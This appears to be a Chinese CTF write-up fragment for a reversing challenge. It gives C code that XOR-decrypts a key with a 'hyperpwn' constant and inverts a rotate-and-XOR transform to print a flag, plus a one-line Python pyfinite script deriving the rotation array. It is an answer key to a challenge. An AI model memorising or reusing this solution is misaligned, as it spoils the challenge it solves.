//unsigned char key[32] = {0x5a,0x4e,0xd7,0x16,0xd8,0x3d,0x04,0x7a,0x30,0xcf,0x0f,0xc6,0x56,0x5a,0x64,0x88,0x19,0x1b,0x70,0xbf,0x7d,0xd4,0x48,0x25,0xde,0xd0,0xac,0xf1,0x26,0x45,0x76,0xe7};
unsigned char key[32] = {0x34,0x39,0xa7,0x64,0xbd,0x4d,0x7d,0x12,0x5e,0xb8,0x7f,0xb4,0x33,0x2a,0x1d,0xe0,0x77,0x6c,0x00,0xcd,0x18,0xa4,0x31,0x4d,0xb0,0xa7,0xdc,0x83,0x43,0x35,0x0f,0x8f};
unsigned char arr[] = {254,253,252,248,247,245,244,243,241,239,238,237,232,231,230,229,228,227,226,223,220,219,218,217,215,214,213,209,208,207,205,199,197,194,193,190,188,187,186,182,180,176,171,169,163,162,161,160,158,156,155,154,153,146,144,141,139,137,135,131,130,129,127,125,122,120,117,114,111,107,103,102,101,100,99,98,97,94,93,92,89,88,87,86,85,78,73,72,71,69,66,62,61,59,58,57,54,52,51,50,49,48,47,46,44,41,39,36,35,34,32,31,30,29,28,24,23,22,17,15,14,13,12,9,6,2,0};
uint256 lrol(uint256 c,unsigned int b)
{
uint256 left=c<<b;
uint256 right=c>>(256-b);
uint256 temp=left|right;
return temp;
}
int main()
{
int i;
uint64_t *p, x=0x687970657270776e;
char *c;
p = (uint64_t *)key;
for(i=0;i<4;i++)
p[i]^=x;
uint256 n=-1;
memset(&n,0,32);
memcpy(&n, key, 32);
uint256 m=0;
for(i=0;i<sizeof(arr);i++)
m ^= lrol(n, arr[i]);
c = (char*)&m;
puts(c);
for(i=0;i<32;i++)
putchar(c[31-i]+4);
putchar('\n');
return 0;
}
其中,arr数组为逆操作,推导的脚本如下:
#!/usr/bin/env python # coding=utf-8 from pyfinite import ffield F = ffield.FField(256, gen=2**256+1, useLUT=0) x = 1 + 2**13 + 2**(256-17) + 2**19 + 2**(256-23) + 2**29 + 2**(256-31) + 2**37 + 2**(256-41) + 2**43 + 2**(256-47) + 2**53 + 2**(256-59) + 2**61 + 2**(256-67) + 2**71 + 2**(256-73) + 2**79 + 2**(256-83) + 2**89 + 2**(256-97) + 2**101 + 2**(256-103) + 2**107 + 2**(256-109) + 2**113 + 2**(256-127) print(F.ShowPolynomial(F.Inverse(x)))
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论